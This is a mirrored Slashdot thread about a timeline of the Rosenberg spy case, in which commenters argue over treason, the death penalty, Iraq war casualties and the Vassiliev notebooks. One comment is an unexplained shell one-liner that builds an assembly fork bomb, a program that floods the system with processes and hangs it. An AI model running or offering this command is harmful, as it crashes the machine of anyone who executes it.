Slashdot Mirror
Timeglider Software Outlines Rosenberg Spy Case
An anonymous reader writes "Related to the previous story on Slashdot on the release of the Vassiliev Notebooks: the Cold War project has created a timeline on the Rosenberg spy ring (using Timeglider — a web-based, Flash-powered software for creating timelines), integrating the documentation from the Venona Intercepts, the FBI files related to industrial and atomic espionage, the Rosenberg trial papers and the Vassiliev notebooks in a easy-to-digest, complete picture of the evidence on the Rosenberg's involvement in atomic espionage. It can be accessed via the project's webpage. The use of Timeglider makes understanding the complex nature of the case and the newly available documentation more manageable."
It was a queer, sultry summer, the summer they electrocuted the Rosenbergs, and I didn't know what I was doing in New York.
Treason is to act against your own countrymen in the service of another country. But is that really what it boils down to when you prevent more deaths through dissemination of state secrets? Is it really an offense worthy of death to act according to your own morality?
Meh. What the Rosenbergs did - giving atomic secrets to a hostile tyranny is treason. I'm no fan of the death penalty, but it's definitely a serious crime. And I'm sure if the sort of people the Rosenbergs had favoured had ended up running the country there would have been a lot more people executed under treason charges who were just 'acting under their own morality', treason being a popular though spurious charge in Stalinist show trials.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
(using Timeglider â" a web-based, flash powered, software for creating timelines) ... The use of Timeglider makes understanding the complex nature of the case, and the newly available documentation more manageable."
Yes we get the picture
Doesn't seem to work very well. Maybe I'm doing it wrong, but it didn't do anything to enhance my experience or make the information easier to digest. If anything, it made it more confusing and less informative.
... and then they built the supercollider.
Consider the following far-more-useful timeline presentations...
http://newstimeline.googlelabs.com/ ...The shame of it all is that Timeglider fails to beat the above three technologies, and NONE of them use Flash.
http://simile.mit.edu/timeline/examples/religions/religions.html
http://www.timerime.com/
Let me help you. What he meant was, that more people had died in the war which ensued following the US invasion of Iraq than had died in peacetime under Saddam's regime. He's right.
If you believe Amnesty International's figures, there were fewer than 200 hangings in Iraq per year before the invasion (some might say that's enough), and even as his regime responded to uprisings, they killed fewer Iraqis than were killed as a direct result of the US invasion.
The difference is that when Saddam's regime killed people to put down the uprising, the US called it a massacre. When the US killed thousands of Iraqis during and since the invasion to suppress opposition, it is described as a necessary but tragic consequence of ridding Iraq of a dictator.
I am not an admirer of Saddam or his yobbish sons, but the story is not as clear cut as you would like to believe.
Your question is absurd.
If I understand your first point, the superficial one is "if your action demonstratably saves more lives than it cost, is it really wrong?"
As far as the Iraq war, you seem so certain. I'd ask: in what scope? According to varied estimates, there are something like 500,000-1 million Iraqis that probably would have wished Saddam was ousted earlier. This grossly overshadows the (high) estimate of 100,000 Iraqi civilians slain as a result of the current war plus the (trivial, in a military sense) number military deaths.
Of course, the point you're making is about the Rosenbergs. How did them selling secrets to the Soviets "save lives"? One could argue that having the bomb, and feeling secure against any serious military opposition allowed Stalin and subsequent Soviet leaders to embark on their later actions without fear. One could thus logically lay ALL the deaths of the Cold War - all the internal Soviet purges (no real American analogue there, for you moral relativists, sorry) and all the brushfire proxy wars - at the feet of the Rosenbergs. So how many lives did their actions "save" again?
Your second is stated more clearly: "Is it really an offense worthy of death to act according to your own morality?"
I'm staggered by the naivete and simplistic egoism that would fuel this question. More accurately, one might ask what sort of a society one would create if everyone (not just you, remember) were allowed to act according to their own morality? Remember, not everyone has your set of life rules: there's the Austrian guy who imprisoned his own daughter for what, 30 years? meanwhile impregnating her several times. Can he act according to HIS morality? Is that fine? What about the fellow who feels its perfectly justifiable to take the goods of others, because he NEEDS them more to support a really strong drug addiction?
There are LOTS of moral compasses out there, and despite how simple it might look to some, it doesn't take a lot of life experience to see that they don't all point toward the same "north". To suggest that people should just be able to follow their own morality is tantamount to a Hobbesian state of nature "red in tooth and claw" where the strongest get to do what they want simply because they are the strongest or most brutal.
To explain it simply, a society is a collective of people who generally agree on a set of behavioral norms. If you violate those norms, you're subject to the punishment of the society as a whole. American society - a vocal minority aside - has settled on the idea that the worst offenders shall be killed. Like it or not. Fortunately, in modern western culture, one of the norms is that you can say "I don't agree with this set of values" and LEAVE, seeking something better.
The irony (in my view) is that most of the people in the US who complain about how they don't like this or that, tend not to understand that comparatively, they're going to have a hard time finding another society that has the combination of physical conveniences, economic opportunities, and political freedoms, so they end up just staying here and filling the internet with pointless whinging.
-Styopa
In the U.S., treason is narrowly defined as "levying war against [the U.S.], or in adhering to their enemies, giving them aid and comfort." The Rosenbergs did not make war against the U.S., and no state of war existed between the U.S. and the U.S.S.R., so we were not enemies. We were rivals in a geopolitical game including nuclear brinksmanship and other brutal and stupid behavior on both sides, yes, but not enemies. (Indeed, at the time the Rosenbergs started their activities, we were allies with the U.S.S.R. against the Nazis.)
As for the Vassiliev notebooks -- they're crap:
So Vassiliev did what crank authors due when presented with criticism: brought suit under the U.K.'s libel laws.
Tom Swiss | the infamous tms | my blog
You cannot wash away blood with blood